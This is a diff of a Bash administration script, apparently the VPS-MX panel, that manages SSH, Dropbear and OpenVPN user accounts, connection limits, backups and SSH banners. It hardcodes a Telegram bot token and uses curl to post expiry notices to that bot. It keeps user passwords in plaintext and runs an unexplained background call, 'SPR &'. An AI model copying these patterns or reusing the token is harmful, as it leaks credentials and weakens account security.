+     1)msg -verm "$(fun_trans "Usuario Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     2)msg -verm "$(fun_trans "Usuario con nombre muy corto")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     3)msg -verm "$(fun_trans "Usuario con nombre muy grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     4)msg -verm "$(fun_trans "Contraseña Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     5)msg -verm "$(fun_trans "Contraseña muy corta")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     6)msg -verm "$(fun_trans "Contraseña muy grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     7)msg -verm "$(fun_trans "Duracion Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     8)msg -verm "$(fun_trans "Duracion invalida utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     9)msg -verm "$(fun_trans "Duracion maxima y de un año")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     11)msg -verm "$(fun_trans "Limite Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     12)msg -verm "$(fun_trans "Limite invalido utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     13)msg -verm "$(fun_trans "Limite maximo de 999")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     14)msg -verm "$(fun_trans "Usuario Ya Existe")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     esac
+}
+new_user () {
+clear 
+clear
+msg -bar
+usuarios_ativos=($(mostrar_usuarios))
+if [[ -z ${usuarios_ativos[@]} ]]; then
+msg -tit
+msg -ama "   AGREGAR USUARIO | Ningun Usuario Registrado"
+msg -bar
+else
+msg -tit
+msg -ama "  AGREGAR USUARIO | Usuarios  Activos en Servidor"
+msg -bar
+for us in $(echo ${usuarios_ativos[@]}); do
+msg -ne "  >> Usuario: " && echo "${us}"
+done
+msg -bar
+fi
+while true; do
+     msg -ne "$(fun_trans "Nombre Del Nuevo Usuario")"
+     read -p ": " nomeuser
+     nomeuser="$(echo $nomeuser|sed -e 's/[^a-z0-9 -]//ig')"
+     if [[ -z $nomeuser ]]; then
+     err_fun 1 && continue
+     elif [[ "${#nomeuser}" -lt "4" ]]; then
+     err_fun 2 && continue
+     elif [[ "${#nomeuser}" -gt "24" ]]; then
+     err_fun 3 && continue
+     elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$nomeuser")" ]]; then
+     err_fun 14 && continue
+     fi
+     break
+done
+while true; do
+     msg -ne "$(fun_trans "Contraseña Del Nuevo Usuario")"
+     read -p ": " senhauser
+     if [[ -z $senhauser ]]; then
+     err_fun 4 && continue
+     elif [[ "${#senhauser}" -lt "6" ]]; then
+     err_fun 5 && continue
+     elif [[ "${#senhauser}" -gt "20" ]]; then
+     err_fun 6 && continue
+     fi
+     break
+done
+while true; do
+     msg -ne "$(fun_trans "Tiempo de Duracion del Nuevo Usuario")"
+     read -p ": " diasuser
+     if [[ -z "$diasuser" ]]; then
+     err_fun 7 && continue
+     elif [[ "$diasuser" != +([0-9]) ]]; then
+     err_fun 8 && continue
+     elif [[ "$diasuser" -gt "360" ]]; then
+     err_fun 9 && continue
+     fi 
+     break
+done
+while true; do
+     msg -ne "$(fun_trans "Limite de Conexiones del Nuevo Usuario")"
+     read -p ": " limiteuser
+     if [[ -z "$limiteuser" ]]; then
+     err_fun 11 && continue
+     elif [[ "$limiteuser" != +([0-9]) ]]; then
+     err_fun 12 && continue
+     elif [[ "$limiteuser" -gt "999" ]]; then
+     err_fun 13 && continue
+     fi
+     break
+done
+     tput cuu1 && tput dl1
+     tput cuu1 && tput dl1
+     tput cuu1 && tput dl1
+     tput cuu1 && tput dl1
+     msg -ne "$(fun_trans "  >> IP del Servidor"): " && echo -e "$(meu_ip)"
+     msg -ne "$(fun_trans "  >> Usuario"): " && echo -e "$nomeuser"
+     msg -ne "$(fun_trans "  >> Contraseña"): " && echo -e "$senhauser"
+     msg -ne "$(fun_trans "  >> Dias de Duracion"): " && echo -e "$diasuser"
+     msg -ne "$(fun_trans "  >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
+     msg -ne "$(fun_trans "  >> Limite de Conexion"): " && echo -e "$limiteuser"
+msg -bar
+diasuser2="$(echo "$diasuser"|bc)+1"
+echo "${diasuser2}"|bc > /etc/VPS-MX/controlador/DIAS.log
+diasuser3="$(less /etc/VPS-MX/controlador/DIAS.log)"
+add_user "${nomeuser}" "${senhauser}" "${diasuser3}" "${limiteuser}" && msg -ama "$(fun_trans "            Usuario Creado con Exito")" || msg -verm "$(fun_trans "         Error, Usuario no creado")"
+[[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && newclient "$nomeuser" "$senhauser"
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+
+remove_user () {
+clear
+clear
+msg -bar
+usuarios_ativos=($(mostrar_usuarios))
+if [[ -z ${usuarios_ativos[@]} ]]; then
+msg -tit
+msg -verm "$(fun_trans " BORAR USUARIO | Ningun usuario registrado")"
+msg -bar
+return 1
+else
+msg -tit
+msg -ama "$(fun_trans " BORAR USUARIO |  Usuarios Activos del Servidor")"
+msg -bar
+i=0
+for us in $(echo ${usuarios_ativos[@]}); do
+msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}"
+let i++
+done
+msg -bar
+fi
+msg -ama "$(fun_trans "Escriba o Seleccione un Usuario")"
+msg -bar
+msg -ama "\033[1;31mSe recomienda desbloquear todas las cuentas \nbloqueadas antes de borrar algun usuario."
+msg -bar
+unset selection
+while [[ -z ${selection} ]]; do
+echo -ne "\033[1;37m$(fun_trans "Seleccione Una Opcion"): " && read selection
+tput cuu1 && tput dl1
+done
+if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+usuario_del="${usuarios_ativos[$selection]}"
+else
+usuario_del="$selection"
+fi
+[[ -z $usuario_del ]] && {
+     msg -verm "$(fun_trans "Error, Usuario Invalido")"
+     msg -bar
+     return 1
+     }
+[[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
+     msg -verm "$(fun_trans "Error, Usuario Invalido")"
+     msg -bar
+     return 1
+     }
+msg -ne "$(fun_trans "Usuario Seleccionado"): " && echo -ne "$usuario_del" 
+pkill -u $usuario_del
+droplim=`dropbear_pids|grep -w "$usuario_del"|cut -d'|' -f2` 
+kill -9 $droplim &>/dev/null
+# droplim=`droppids|grep -w "$usuario_del"|cut -d'|' -f2` 
+# kill -9 $droplim &>/dev/null
+rm_user "$usuario_del" && msg -verd " [$(fun_trans "Removido")]" || msg -verm " [$(fun_trans "No Removido")]"
+rm -rf /etc/VPS-MX/VPS-MX-userlock
+rm -rf /etc/VPS-MX/controlador/Limiter.log
+unlockall2
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+renew_user () {
+clear
+clear
+msg -bar
+usuarios_ativos=($(mostrar_usuarios))
+if [[ -z ${usuarios_ativos[@]} ]]; then
+msg -tit
+msg -verm "$(fun_trans " EDITAR USUARIO | Ningun usuario registrado")"
+msg -bar
+return 1
+else
+msg -tit
+msg -ama "$(fun_trans " EDITAR USUARIO | Usuarios Activos en el Servidor")"
+msg -bar
+i=0
+for us in $(echo ${usuarios_ativos[@]}); do
+msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}"
+let i++
+done
+msg -bar
+fi
+msg -ama "$(fun_trans "Escriba o seleccione un Usuario")"
+msg -bar
+unset selection
+while [[ -z ${selection} ]]; do
+echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read selection
+tput cuu1
+tput dl1
+done
+if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+useredit="${usuarios_ativos[$selection]}"
+else
+useredit="$selection"
+fi
+[[ -z $useredit ]] && {
+     msg -verm "$(fun_trans "Error, Usuario Invalido")"
+     msg -bar
+     return 1
+     }
+[[ ! $(echo ${usuarios_ativos[@]}|grep -w "$useredit") ]] && {
+     msg -verm "$(fun_trans "Error, Usuario Invalido")"
+     msg -bar
+     return 1
+     }
+while true; do
+     msg -ne "Nuevo Tiempo de Duracion de:\033[1;33m $useredit"
+     read -p ": " diasuser
+     if [[ -z "$diasuser" ]]; then
+     echo -e '\n\n\n'
+     err_fun 7 && continue
+     elif [[ "$diasuser" != +([0-9]) ]]; then
+     echo -e '\n\n\n'
+     err_fun 8 && continue
+     elif [[ "$diasuser" -gt "360" ]]; then
+     echo -e '\n\n\n'
+     err_fun 9 && continue
+     fi
+     break
+done
+msg -bar
+renew_user_fun "${useredit}" "${diasuser}" && msg -ama "$(fun_trans "Usuario Modificado Con Exito")" || msg -verm "$(fun_trans "Error, Usuario no Modificado")"
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+edit_user () {
+clear
+clear
+msg -bar
+usuarios_ativos=($(mostrar_usuarios))
+if [[ -z ${usuarios_ativos[@]} ]]; then
+msg -tit
+msg -verm "$(fun_trans " EDITTAR USER | Ningun usuario registrado")"
+msg -bar
+return 1
+else
+msg -tit
+msg -ama "$(fun_trans " EDITTAR USER | Usuarios Activos del Servidor")"
+msg -bar
+i=0
+for us in $(echo ${usuarios_ativos[@]}); do
+msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}"
+let i++
+done
+msg -bar
+fi
+msg -ama "$(fun_trans "Escriba o seleccione un Usuario")"
+msg -bar
+unset selection
+while [[ -z ${selection} ]]; do
+echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read selection
+tput cuu1; tput dl1
+done
+if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+useredit="${usuarios_ativos[$selection]}"
+else
+useredit="$selection"
+fi
+[[ -z $useredit ]] && {
+     msg -verm "$(fun_trans "Error, Usuario Invalido")"
+     msg -bar
+     return 1
+     }
+[[ ! $(echo ${usuarios_ativos[@]}|grep -w "$useredit") ]] && {
+     msg -verm "$(fun_trans "Error, Usuario Invalido")"
+     msg -bar
+     return 1
+     }
+while true; do
+msg -ne "$(fun_trans "Usuario Seleccionado"): " && echo -e "$useredit"
+     msg -ne "Nueva Contraseña de:\033[1;33m $useredit"
+     read -p ": " senhauser
+     if [[ -z "$senhauser" ]]; then
+     err_fun 4 && continue
+     elif [[ "${#senhauser}" -lt "6" ]]; then
+     err_fun 5 && continue
+     elif [[ "${#senhauser}" -gt "20" ]]; then
+     err_fun 6 && continue
+     fi
+     break
+done
+while true; do
+     msg -ne "Dias de Duracion de:\033[1;33m $useredit"
+     read -p ": " diasuser
+     if [[ -z "$diasuser" ]]; then
+     err_fun 7 && continue
+     elif [[ "$diasuser" != +([0-9]) ]]; then
+     err_fun 8 && continue
+     elif [[ "$diasuser" -gt "360" ]]; then
+     err_fun 9 && continue
+     fi
+     break
+done
+while true; do
+     msg -ne "Nuevo Limite de Conexion de:\033[1;33m $useredit"
+     read -p ": " limiteuser
+     if [[ -z "$limiteuser" ]]; then
+     err_fun 11 && continue
+     elif [[ "$limiteuser" != +([0-9]) ]]; then
+     err_fun 12 && continue
+     elif [[ "$limiteuser" -gt "999" ]]; then
+     err_fun 13 && continue
+     fi
+     break
+done
+     tput cuu1 && tput dl1
+     tput cuu1 && tput dl1
+     tput cuu1 && tput dl1
+     tput cuu1 && tput dl1
+     msg -ne "$(fun_trans " >> Usuario"): " && echo -e "$useredit"
+     msg -ne "$(fun_trans " >> Contraseña"): " && echo -e "$senhauser"
+     msg -ne "$(fun_trans " >> Dias de Duracion"): " && echo -e "$diasuser"
+     msg -ne "$(fun_trans " >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
+     msg -ne "$(fun_trans " >> Limite de Conexion"): " && echo -e "$limiteuser"
+msg -bar
+edit_user_fun "${useredit}" "${senhauser}" "${diasuser}" "${limiteuser}" && msg -ama "$(fun_trans "Usuario Modificado Con Exito")" && rm -rf ${SCPusr}/Limiter.log || msg -verm "$(fun_trans "Error, Usuario nao Modificado")"
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+detail_user () {
+clear
+clear
+msg -bar2
+msg -tit
+msg -ama "$(fun_trans "        INFORMACION DE USUARIOS REGISTRADOS ")"
+msg -bar2
+red=$(tput setaf 1)
+gren=$(tput setaf 2)
+yellow=$(tput setaf 3)
+if [[ ! -e "${USRdatabase}" ]]; then
+msg -verm "$(fun_trans "No se ha identificado una base de datos con los Usuarios")"
+msg -verm "$(fun_trans "Los Usuarios a Seguir No contiene Ninguna Informacion")"
+msg -bar2
+fi
+txtvar=$(printf '%-15s' "USUARIO")
+txtvar+=$(printf '%-20s' "CONTRASEÑA")
+txtvar+=$(printf '%-13s' "FECHA")
+txtvar+=$(printf '%-10s' "LIMITE")
+echo -e "\033[1;33m${txtvar}"
+msg -bar2
+VPSsec=$(date +%s)
+while read user; do
+unset txtvar
+data_user=$(chage -l "$user" |grep -i co |awk -F ":" '{print $2}')
+txtvar=$(printf '%-21s' "${yellow}$user")
+if [[ -e "${USRdatabase}" ]]; then
+  if [[ $(cat ${USRdatabase}|grep -w "${user}") ]]; then
+    txtvar+="$(printf '%-21s' "${yellow}$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f2)")"
+    DateExp="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f3)"
+    DataSec=$(date +%s --date="$DateExp")
+    if [[ "$VPSsec" -gt "$DataSec" ]]; then    
+    EXPTIME="${red}[Exp]"
+    else
+    EXPTIME="${gren}[$(($(($DataSec - $VPSsec)) / 86400))]"
+    fi
+    txtvar+="$(printf '%-29s' "${yellow}${DateExp}${EXPTIME}")"
+    txtvar+="$(printf '%-5s' "${yellow}$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)")"
+    else
+    txtvar+="$(printf '%-21s' "${red}???")"
+    txtvar+="$(printf '%-29s' "${red}???")"
+    txtvar+="$(printf '%-11s' "${red}???")"
+  fi
+fi
+echo -e "$txtvar"
+done <<< "$(mostrar_usuarios)"
+msg -bar2
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+monit_user () {
+clear
+clear
+msg -bar
+yellow=$(tput setaf 3)
+gren=$(tput setaf 2)
+msg -tit
+echo -e "$(fun_trans "\e[93m   MONITOR DE CONEXIONES SSH/DROPBEAR/SSL/OPENVPN")"
+msg -bar
+txtvar=$(printf '%-20s' " USUARIO")
+txtvar+=$(printf '%-19s' "CONEXIONES")
+txtvar+=$(printf '%-16s' "TIME/ON")
+echo -e "\033[1;92m${txtvar}"
+msg -bar
+while read user; do
+ _=$(
+PID="0+"
+[[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$user"|grep -v root|wc -l)+"
+[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "${user}"|wc -l)+"
+[[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+"
+PID+="0"
+TIMEON="${TIMEUS[$user]}"
+[[ -z $TIMEON ]] && TIMEON=0
+MIN=$(($TIMEON/60))
+SEC=$(($TIMEON-$MIN*60))
+HOR=$(($MIN/60))
+MIN=$(($MIN-$HOR*60))
+HOUR="${HOR}h:${MIN}m:${SEC}s"
+[[ -z $(cat ${USRdatabase}|grep -w "${user}") ]] && MAXUSER="?" || MAXUSER="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)"
+[[ $(echo $PID|bc) -gt 0 ]] && user="$user [\033[1;32m ON \033[0m${yellow}]" || user="$user [\033[1;31m OFF \033[0m${yellow}]"
+TOTALPID="$(echo $PID|bc)/$MAXUSER"
+ while [[ ${#user} -lt 45 ]]; do
+ user=$user" "
+ done
+ while [[ ${#TOTALPID} -lt 13 ]]; do
+ TOTALPID=$TOTALPID" "
+ done
+ while [[ ${#HOUR} -lt 8 ]]; do
+ HOUR=$HOUR" "
+ done
+echo -e "${yellow}$user $TOTALPID $HOUR" >&2
+) &
+pid=$!
+sleep 0.5s
+done <<< "$(mostrar_usuarios)"
+while [[ -d /proc/$pid ]]; do
+sleep 3s
+done
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+rm_vencidos () {
+clear
+clear
+msg -bar
+msg -tit
+echo -e "$(fun_trans "\e[93m           BORRANDO USUARIOS VENCIDOS ")"
+msg -bar
+red=$(tput setaf 1)
+gren=$(tput setaf 2)
+yellow=$(tput setaf 3)
+txtvar=$(printf '%-25s' " USUARIO")
+txtvar+=$(printf '%-25s' " VALIDIDEZ")
+echo -e "\033[1;92m${txtvar}"
+msg -bar
+expired="${red}$(fun_trans "Usuario Expirado")"
+valid="${gren}$(fun_trans "   Usuario Vigente")"
+never="${yellow}$(fun_trans "Usuario Ilimitado")"
+removido="${red}$(fun_trans "Eliminado")"
+DataVPS=$(date +%s)
+while read user; do
+DataUser=$(chage -l "${user}" |grep -i co|awk -F ":" '{print $2}')
+usr=$user
+ while [[ ${#usr} -lt 20 ]]; do
+ usr=$usr" "
+ done
+[[ "$DataUser" = " never" ]] && {
+   echo -e "${yellow}$usr $never"
+   continue
+   }
+DataSEC=$(date +%s --date="$DataUser")
+if [[ "$DataSEC" -lt "$DataVPS" ]]; then
+echo -ne "${yellow}$usr $expired"
+rm_user "$user" && echo -e "($removido)"
+else
+echo -e "${yellow}$usr $valid"
+fi
+done <<< "$(mostrar_usuarios)"
+rm -rf /etc/VPS-MX/VPS-MX-userlock
+rm -rf /etc/VPS-MX/controlador/Limiter.log
+unlockall2
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+verif_fun () {
+ # DECLARANDO VARIAVEIS PRIMARIAS
+    local conexao
+    local limite
+    local TIMEUS
+    declare -A conexao
+    declare -A limite
+    declare -A TIMEUS
+    local LIMITERLOG="${SCPusr}/Limiter.log"
+	local LIMITERLOG2="${SCPusr}/Limiter2.log"
+    [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && local SSH=ON || local SSH=OFF
+    [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && local DROP=ON || local DROP=OFF
+    [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && local OPEN=ON || local OPEN=OFF
+    while true; do
+    unset EXPIRED
+    unset ONLINES
+	unset BLOQUEADO
+    #[[ -e ${MyTIME} ]] && source ${MyTIME}
+    local TimeNOW=$(date +%s)
+    # INICIA VERIFICAȃO
+    while read user; do
+           echo -ne "\033[1;33mUSUARIO: \033[1;32m$user "
+           if [[ ! $(echo $(mostrar_usuarios)|grep -w "$user") ]]; then
+              echo -e "\033[1;31mNO EXISTE"
+              continue
+           fi
+           local DataUser=$(chage -l "${user}" |grep -i co|awk -F ":" '{print $2}')
+           if [[ ! -z "$(echo $DataUser|grep never)" ]]; then
+               echo -e "\033[1;31mILIMITADO" 
+               continue
+           fi
+           local DataSEC=$(date +%s --date="$DataUser")
+           if [[ "$DataSEC" -lt "$TimeNOW" ]]; then
+              EXPIRED="1+"          
+              block_userfun $user -loked && echo " $user (EXPIRADO) $(date +%r--%d/%m/%y)" >> $LIMITERLOG && echo " $user (EXPIRADO) $(date +%r--%d/%m/%y)" >> $LIMITERLOG2 && KEY="862633455:AAGJ9BBJanzV6yYwLSemNAZAVwn7EyjrtcY"
+URL="https://api.telegram.org/bot$KEY/sendMessage"
+MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
+🔹 CUENTA: $user 
+❗️ 📵 EXPIRADA 📵 ❗️"
+curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL && pkill -u $user
+              echo -e "\033[1;31m EXPIRADO"
+              continue
+           fi
+           local PID="0+"
+           [[ $SSH = ON  ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$user"|grep -v root|wc -l 2>/dev/null)+"
+           [[ $DROP = ON  ]] && PID+="$(dropbear_pids|grep -w "$user"|wc -l 2>/dev/null)+"
+           [[ $OPEN = ON  ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+"
+            local ONLINES+="$(echo ${PID}0|bc)+"
+            local conexao[$user]="$(echo ${PID}0|bc)"
+           if [[ ${conexao[$user]} -gt '0' ]]; then #CONTADOR DE TEMPO ONLINE
+              [[ -z "${TIMEUS[$user]}" ]] && local TIMEUS[$user]=0
+              [[ "${TIMEUS[$user]}" != +([0-9]) ]] && local TIMEUS[$user]=0
+              local TIMEUS[$user]="$((300+${TIMEUS[$user]}))"
+              local VARS="$(cat ${MyTIME}|grep -w -v "$user")"
+              echo "TIMEUS[$user]='${TIMEUS[$user]}'" > ${MyTIME}
+             for variavel in $(echo ${VARS}); do echo "${variavel}" >> ${MyTIME}; done
+            fi           
+           local limite[$user]="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)"
+           [[ -z "${limite[$user]}" ]] && continue
+           [[ "${limite[$user]}" != +([0-9]) ]] && continue
+           if [[ "${conexao[$user]}" -gt "${limite[$user]}" ]]; then
+           local lock=$(block_userfun $user -loked)
+           pkill -u $user
+		   
+		   droplim=`dropbear_pids|grep -w "$user"|cut -d'|' -f2` 
+		   kill -9 $droplim &>/dev/null
+		   
+		   openlim=`openvpn_pids|grep -w "$user"|cut -d'|' -f2`
+		   kill -9 $openlim &>/dev/null
+		   
+		   echo "$lock" >> $LIMITERLOG && echo "$lock" >> $LIMITERLOG2
+           echo -e "\033[1;31m ULTRAPASO LIMITE"
+           continue
+           fi
+           echo -e "\033[1;33m OK! \033[1;31m${conexao[$user]} CONEXIONESS"
+		   BLOQUEADO="$(wc -l /etc/VPS-MX/VPS-MX-userlock | awk '{print $1}')"
+		   #BLOQUEADO="$(grep -c BLOCK-MULTILOGIN /etc/VPS-MX/controlador/Limiter.log)"
+		   BLOQUEADO2="$(echo ${BLOQUEADO}|bc)0"
+		   BLOQUEADO3="/10"
+		   EXPIRADO="$(grep -c EXPIRADO /etc/VPS-MX/controlador/Limiter.log)"
+		   EXPIRADO2="$(echo ${EXPIRADO}|bc)0"
+		   EXPIRADO3="/10"
+    done <<< "$(mostrar_usuarios)"
+    echo "${ONLINES}0"|bc > ${SCPdir}/USRonlines
+    #echo "${EXPIRED}0"|bc > ${SCPdir}/USRexpired
+	echo "${EXPIRADO2}${EXPIRADO3}"|bc > ${SCPdir}/USRexpired
+	echo "${BLOQUEADO2}${BLOQUEADO3}"|bc > ${SCPdir}/USRbloqueados
+	limseg="$(less /etc/VPS-MX/controlador/tiemlim.log)"
+	
+	sleep $limseg # TEMPO DE ESPERA DO LOOP
+    clear
+    done
+}
+SPR &
+backup_fun () {
+clear
+clear
+msg -bar
+msg -tit
+msg -ama "$(fun_trans "        HERRAMIENTA DE BACKUP DE USUARIOS")"
+msg -bar
+menu_func "CREAR BACKUP" "RESTAURAR BACKUP"
+msg -bar
+unset selection
+while [[ ${selection} != @([1-2]) ]]; do
+echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read selection
+tput cuu1 && tput dl1
+done
+case ${selection} in
+1)
+cp ${USRdatabase} $HOME/VPS-MX-Backup
+msg -azu "$(fun_trans "Procedimiento Hecho con Exito, Guardado en:")"
+echo ""
+echo -e "\033[1;31mBACKUP > [\033[1;32m$HOME/VPS-MX-Backup\033[1;31m]"
+echo ""
+;;
+2)
+while [[ ! -e ${dirbackup} ]]; do
+echo -ne "\033[1;37m ¡¡Recomiendo DESACTIVAR Limitador si es que lo tine ACTIVO!!\n"
+echo -ne "\033[1;37m Escriba la ubicacion de la copia de seguridad\n" 
+msg -bar
+echo -ne "\033[1;37m ENTER: para ruta predeterminada /root/VPS-MX-Backup: " && read dirbackup
+echo ""
+echo "----------  RESTAURANDO CUENTAS ESPERE "
+echo ""
+msg -bar
+[[ -z "${dirbackup}" ]] && dirbackup="/root/VPS-MX-Backup"
+tput cuu1 && tput dl1
+done
+VPSsec=$(date +%s)
+while read line; do
+nome=$(echo ${line}|cut -d'|' -f1)
+[[ $(echo $(mostrar_usuarios)|grep -w "$nome") ]] && { msg -verm "$nome [ERROR]"
+  continue
+  }
+senha=$(echo ${line}|cut -d'|' -f2)
+DateExp=$(echo ${line}|cut -d'|' -f3)
+DataSec=$(date +%s --date="$DateExp")
+[[ "$VPSsec" -lt "$DataSec" ]] && dias="$(($(($DataSec - $VPSsec)) / 86400))" || dias="NP"
+limite=$(echo ${line}|cut -d'|' -f4)
+
+add_user "$nome" "$senha" "$dias" "$limite" &>/dev/null && msg -verd "$nome [CUENTA VALIDA]" || msg -verm "$nome [CUENTA INVALIDA FECHA EXPIRADA]"
+done < ${dirbackup}
+;;
+esac
+echo ""
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+
+##LIMITADOR 
+
+verif_funx () {
+clear
+clear
+msg -bar
+msg -tit
+echo -e "\033[1;32m             LIMITADOR DE CUENTAS"
+msg -bar
+echo -e "Esta Opcion Limita las Conexiones de SSH/SSL/DROPBEAR"
+PIDVRF="$(ps aux|grep "${SCPusr}/usercodes verificar"|grep -v grep|awk '{print $2}')"
+if [[ -z $PIDVRF ]]; then
+msg -bar
+echo -ne "\033[1;96m   ¿Cada cuantos segundos ejecutar el limitador?\n\033[1;97m  +Segundos = -Uso de CPU | -Segundos = +Uso de CPU\033[0;92m \n                Predeterminado:\033[1;37m 120s\n     Cuantos Segundos (Numeros Unicamente): " && read tiemlim   
+[[ -z "$tiemlim" ]] && tiemlim="120"
+echo "${tiemlim}" > /etc/VPS-MX/controlador/tiemlim.log
+cd ${SCPusr}
+screen -dmS very ${SCPusr}/usercodes verificar
+else
+for pid in $(echo $PIDVRF); do
+kill -9 $pid &>/dev/null
+done
+[[ -e ${SCPdir}/USRonlines ]] && rm ${SCPdir}/USRonlines
+[[ -e ${SCPdir}/USRexpired ]] && rm ${SCPdir}/USRexpired
+[[ -e ${SCPdir}/USRbloqueados ]] && rm ${SCPdir}/USRbloqueados
+fi
+msg -bar
+[[ -z ${VERY} ]] && verificar="\033[1;32m ACTIVADO " || verificar="\033[1;31m DESACTIVADO "
+echo -e "            $verificar  --  CON EXITO"
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+
+##DESBLOEUEAR
+
+verif2_funx () {
+clear
+clear
+msg -bar
+msg -tit
+echo -e "\033[1;32m      DESBLOQUEO AUT. Y LIMPIADOR DE EXPIARDOS"
+msg -bar
+echo -e "Esta opcion desbloquea cada 60 segundos a usuarios\nbloqueados por el limitador y limpia los usuarios expirados"
+PIDVRF2="$(ps aux|grep "${SCPusr}/usercodes desbloqueo"|grep -v grep|awk '{print $2}')"
+if [[ -z $PIDVRF2 ]]; then
+msg -bar
+echo -ne "\033[1;96m   ¿Cada cuantos segundos ejecutar el desbloqueador?\n\033[1;97m  +Segundos = -Uso de CPU | -Segundos = +Uso de CPU\033[0;92m \n                Predeterminado:\033[1;37m 300s\n     Cuantos Segundos (Numeros Unicamente): " && read tiemdes   
+[[ -z "$tiemdes" ]] && tiemdes="300"
+echo "${tiemdes}" > /etc/VPS-MX/controlador/tiemdes.log
+cd ${SCPusr} 
+screen -dmS very2 ${SCPusr}/usercodes desbloqueo
+else
+for pid in $(echo $PIDVRF2); do
+kill -9 $pid &>/dev/null
+done
+
+fi
+msg -bar
+[[ -z ${VERY2} ]] && desbloqueo="\033[1;32m ACTIVADO " || desbloqueo="\033[1;31m DESACTIVADO "
+echo -e "            $desbloqueo  --  CON EXITO"
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+
+baner_fun () {
+banner_on () {
+clear 
+clear 
+local="/etc/VPS-MX/bannerssh"
+rm -rf $local  > /dev/null 2>&1
+local2="/etc/dropbear/banner"
+chk=$(cat /etc/ssh/sshd_config | grep Banner)
+if [ "$(echo "$chk" | grep -v "#Banner" | grep Banner)" != "" ]; then
+local=$(echo "$chk" |grep -v "#Banner" | grep Banner | awk '{print $2}')
+ else
+echo "" >> /etc/ssh/sshd_config
+echo "Banner /etc/VPS-MX/bannerssh" >> /etc/ssh/sshd_config
+local="/etc/VPS-MX/bannerssh"
+fi
+msg -bar
+msg -tit
+msg -ama "         AGREGAR BANNER SSH/SSL/DROPBEAR"
+msg -bar
+msg -ne "$(fun_trans  "Inserte el BANNER de preferencia en HTML sin saltos"): \n\n" && read ban_ner
+echo ""
+msg -bar
+credi="$(less /etc/VPS-MX/message.txt)"
+echo "$ban_ner" >> $local
+echo '<p style="text-align: center;"><span style="color: #0000ff;"><strong>'$credi'</strong></span><br /><em><span style="color: #ff0000;"><strong>SCRIPT - VPS&bull;MX</strong></span></em></p>' >> $local
+if [[ -e "$local2" ]]; then
+rm $local2  > /dev/null 2>&1
+cp $local $local2 > /dev/null 2>&1
+fi 
+msg -verd "$(fun_trans  "           BANNER AGREGADO CON !! EXITO ¡¡" )" && msg -bar
+service dropbear stop 2>/dev/null
+service ssh restart 2>/dev/null
+service dropbear restart 2>/dev/null
+}
+
+banner_off () {
+clear
+clear
+msg -bar
